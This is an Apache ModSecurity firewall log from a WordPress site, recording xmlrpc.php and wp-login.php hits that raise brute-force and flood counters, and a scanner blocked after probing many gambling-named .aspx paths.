[Sat Apr 18 08:23:58.375422 2026] [:error] [pid 9865:tid 9947] [client 45.161.147.50:19746] [client 45.161.147.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.147.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLPHqzb5knECIY-C-jUFQAAAIo"]
[Sat Apr 18 08:34:15.826739 2026] [:error] [pid 13023:tid 13042] [client 91.99.203.142:32942] [client 91.99.203.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.99.203.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLRh_1e7hG8DAeABB9MeQAAARE"]
[Sat Apr 18 08:57:52.574405 2026] [:error] [pid 9970:tid 9982] [client 117.206.232.74:50425] [client 117.206.232.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.206.232.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLXECYdRLRhVmaIMx0R-wAAAMg"]
[Sat Apr 18 08:59:06.586823 2026] [:error] [pid 9865:tid 9940] [client 147.182.243.3:54728] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLXWqzb5knECIY-C-jdpgAAAIM"]
[Sat Apr 18 09:06:22.659101 2026] [:error] [pid 34288:tid 34298] [client 185.252.234.215:50354] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLZDuTIiy__PtiLmplXHwAAAYY"]
[Sat Apr 18 09:06:57.358098 2026] [:error] [pid 34237:tid 34249] [client 41.141.128.82:59178] [client 41.141.128.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.141.128.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeLZMRBmX4Wq5a6rxfb0mAAAAUo"]
[Sat Apr 18 09:06:59.268705 2026] [:error] [pid 34237:tid 34246] [client 41.141.128.82:59178] [client 41.141.128.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 41.141.128.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeLZMxBmX4Wq5a6rxfb0mgAAAUc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 09:23:38.106410 2026] [:error] [pid 34237:tid 34246] [client 46.163.72.195:53346] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLdGhBmX4Wq5a6rxfb_xAAAAUc"]
[Sat Apr 18 09:54:39.132018 2026] [:error] [pid 13023:tid 13035] [client 100.29.50.249:38240] [client 100.29.50.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 100.29.50.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeLkX_1e7hG8DAeABB9krgAAAQo"]
[Sat Apr 18 09:54:43.562783 2026] [:error] [pid 13023:tid 13038] [client 100.29.50.249:38240] [client 100.29.50.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 100.29.50.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeLkY_1e7hG8DAeABB9ksgAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 10:02:05.140471 2026] [:error] [pid 13023:tid 13044] [client 161.97.171.174:52548] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLmHf1e7hG8DAeABB9qVwAAARM"]
[Sat Apr 18 10:19:31.007028 2026] [:error] [pid 34290:tid 34321] [client 103.205.142.28:47028] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLqMxqX6WpmmAXOBi-LgQAAAcI"]
[Sat Apr 18 10:39:10.377453 2026] [:error] [pid 34290:tid 34325] [client 157.245.242.100:42562] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLuzhqX6WpmmAXOBi-T-gAAAcY"]
[Sat Apr 18 10:46:50.418787 2026] [:error] [pid 13023:tid 13039] [client 129.232.136.154:55636] [client 129.232.136.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.232.136.154, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLwmv1e7hG8DAeABB96bAAAAQ4"]
[Sat Apr 18 10:52:12.654272 2026] [:error] [pid 34288:tid 34296] [client 83.96.201.169:39366] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLx3OTIiy__PtiLmpl-cwAAAYQ"]
[Sat Apr 18 11:20:32.010058 2026] [:error] [pid 9864:tid 9930] [client 54.37.252.153:57564] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aeL4gICFeowknfXHM7l7mwAAAFg"]
[Sat Apr 18 11:20:34.132504 2026] [:error] [pid 9970:tid 9988] [client 54.37.252.153:45888] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aeL4giYdRLRhVmaIMx07AgAAAM4"]
[Sat Apr 18 11:20:36.558302 2026] [:error] [pid 34290:tid 34322] [client 54.37.252.153:45892] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aeL4hBqX6WpmmAXOBi-kaQAAAcM"]
[Sat Apr 18 11:20:38.687717 2026] [:error] [pid 34237:tid 34252] [client 54.37.252.153:50880] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aeL4hhBmX4Wq5a6rxfYhGgAAAU0"]
[Sat Apr 18 11:20:40.521327 2026] [:error] [pid 13023:tid 13033] [client 54.37.252.153:50884] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aeL4iP1e7hG8DAeABB-I_gAAAQg"]
[Sat Apr 18 11:20:42.584941 2026] [:error] [pid 13023:tid 13027] [client 54.37.252.153:50896] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aeL4iv1e7hG8DAeABB-JCAAAAQI"]
[Sat Apr 18 11:20:44.637568 2026] [:error] [pid 9863:tid 9873] [client 54.37.252.153:50906] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aeL4jDjjiypiFrTucbJnjAAAAAA"]
[Sat Apr 18 11:20:46.848509 2026] [:error] [pid 9970:tid 9987] [client 54.37.252.153:50920] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aeL4jiYdRLRhVmaIMx07EQAAAM0"]
[Sat Apr 18 11:20:48.870447 2026] [:error] [pid 9863:tid 9882] [client 54.37.252.153:54802] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aeL4kDjjiypiFrTucbJnlwAAAAk"]
[Sat Apr 18 11:20:50.890355 2026] [:error] [pid 9863:tid 9879] [client 54.37.252.153:54806] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aeL4kjjjiypiFrTucbJnogAAAAY"]
[Sat Apr 18 11:20:53.054805 2026] [:error] [pid 9863:tid 9880] [client 54.37.252.153:54818] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aeL4lTjjiypiFrTucbJntQAAAAc"]
[Sat Apr 18 11:20:55.221856 2026] [:error] [pid 13023:tid 13042] [client 54.37.252.153:54822] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aeL4l_1e7hG8DAeABB-JFQAAARE"]
[Sat Apr 18 11:20:57.133105 2026] [:error] [pid 9865:tid 9954] [client 54.37.252.153:54830] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aeL4mazb5knECIY-C-gGMgAAAJE"]
[Sat Apr 18 11:20:59.284286 2026] [:error] [pid 13023:tid 13034] [client 54.37.252.153:56856] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aeL4m_1e7hG8DAeABB-JGQAAAQk"]
[Sat Apr 18 11:21:01.288551 2026] [:error] [pid 9865:tid 9961] [client 54.37.252.153:56860] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aeL4nazb5knECIY-C-gGNgAAAJg"]
[Sat Apr 18 11:21:03.341736 2026] [:error] [pid 9864:tid 9923] [client 54.37.252.153:56862] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aeL4n4CFeowknfXHM7l8DgAAAFE"]
[Sat Apr 18 11:21:06.176629 2026] [:error] [pid 9863:tid 9893] [client 54.37.252.153:56870] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeL4ojjjiypiFrTucbJn0gAAABQ"]
[Sat Apr 18 11:21:08.360804 2026] [:error] [pid 9865:tid 9940] [client 54.37.252.153:58542] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aeL4pKzb5knECIY-C-gGSAAAAIM"]
[Sat Apr 18 11:21:10.892604 2026] [:error] [pid 13023:tid 13034] [client 54.37.252.153:58556] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aeL4pv1e7hG8DAeABB-JKgAAAQk"]
[Sat Apr 18 11:21:13.327760 2026] [:error] [pid 34288:tid 34310] [client 54.37.252.153:58558] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeL4qeTIiy__PtiLmpmGXQAAAZI"]
[Sat Apr 18 11:21:15.789036 2026] [:error] [pid 9863:tid 9890] [client 54.37.252.153:58564] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeL4qzjjiypiFrTucbJn5wAAABE"]
[Sat Apr 18 11:21:18.662407 2026] [:error] [pid 34237:tid 34254] [client 54.37.252.153:60808] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aeL4rhBmX4Wq5a6rxfYhLgAAAU8"]
[Sat Apr 18 11:21:22.756725 2026] [:error] [pid 34288:tid 34316] [client 54.37.252.153:60812] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aeL4suTIiy__PtiLmpmGaQAAAZg"]
[Sat Apr 18 11:21:24.895105 2026] [:error] [pid 9970:tid 9998] [client 54.37.252.153:60814] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aeL4tCYdRLRhVmaIMx07MwAAANg"]
[Sat Apr 18 11:21:27.767801 2026] [:error] [pid 9865:tid 9940] [client 54.37.252.153:60818] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aeL4t6zb5knECIY-C-gGZAAAAIM"]
[Sat Apr 18 11:22:30.329959 2026] [:error] [pid 9863:tid 9878] [client 182.44.8.254:48017] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeL49jjjiypiFrTucbJpWQAAAAU"]
[Sat Apr 18 11:34:22.997167 2026] [:error] [pid 9863:tid 9873] [client 136.116.217.68:56806] [client 136.116.217.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.116.217.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeL7vjjjiypiFrTucbJvIAAAAAA"]
[Sat Apr 18 11:34:26.202849 2026] [:error] [pid 9863:tid 9886] [client 136.116.217.68:56806] [client 136.116.217.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.116.217.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeL7wjjjiypiFrTucbJvKgAAAA0"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 11:42:42.557720 2026] [:error] [pid 9970:tid 9975] [client 192.250.239.237:53844] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeL9siYdRLRhVmaIMx0-nwAAAME"]
[Sat Apr 18 12:10:06.067569 2026] [:error] [pid 9970:tid 9996] [client 150.95.105.14:48208] [client 150.95.105.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 150.95.105.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeMEHiYdRLRhVmaIMx1I6AAAANY"]
[Sat Apr 18 12:18:40.412223 2026] [:error] [pid 13023:tid 13049] [client 77.65.214.113:37478] [client 77.65.214.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.214.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMGIP1e7hG8DAeABB-gigAAARg"]
[Sat Apr 18 12:22:48.991444 2026] [:error] [pid 9863:tid 9881] [client 15.235.224.64:39648] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMHGDjjiypiFrTucbKEDAAAAAg"]
[Sat Apr 18 12:23:19.280064 2026] [:error] [pid 9863:tid 9896] [client 173.231.249.1:47756] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeMHNzjjiypiFrTucbKEsgAAABc"]
[Sat Apr 18 12:23:21.114037 2026] [:error] [pid 9863:tid 9880] [client 173.231.249.1:47756] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeMHOTjjiypiFrTucbKExwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 12:36:18.262875 2026] [:error] [pid 9864:tid 9924] [client 193.111.73.188:39606] [client 193.111.73.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.111.73.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeMKQoCFeowknfXHM7mXsQAAAFI"]
[Sat Apr 18 12:49:10.923094 2026] [:error] [pid 9970:tid 9992] [client 49.37.170.165:54219] [client 49.37.170.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.170.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMNRiYdRLRhVmaIMx1TqwAAANI"]
[Sat Apr 18 12:49:20.960187 2026] [:error] [pid 9970:tid 9979] [client 49.37.170.165:54511] [client 49.37.170.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.170.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMNUCYdRLRhVmaIMx1TsAAAAMU"]
[Sat Apr 18 12:49:31.559151 2026] [:error] [pid 13023:tid 13039] [client 49.37.170.165:54764] [client 49.37.170.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.170.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMNW_1e7hG8DAeABB-mLAAAAQ4"]
[Sat Apr 18 12:49:42.087115 2026] [:error] [pid 9865:tid 9940] [client 49.37.170.165:55020] [client 49.37.170.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.170.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMNZqzb5knECIY-C-ge0gAAAIM"]
[Sat Apr 18 12:49:52.733898 2026] [:error] [pid 13023:tid 13040] [client 49.37.170.165:55280] [client 49.37.170.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.170.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMNcP1e7hG8DAeABB-mQwAAAQ8"]
[Sat Apr 18 12:59:51.988750 2026] [:error] [pid 9864:tid 9921] [client 34.175.117.206:46236] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMPx4CFeowknfXHM7mdQQAAAE8"]
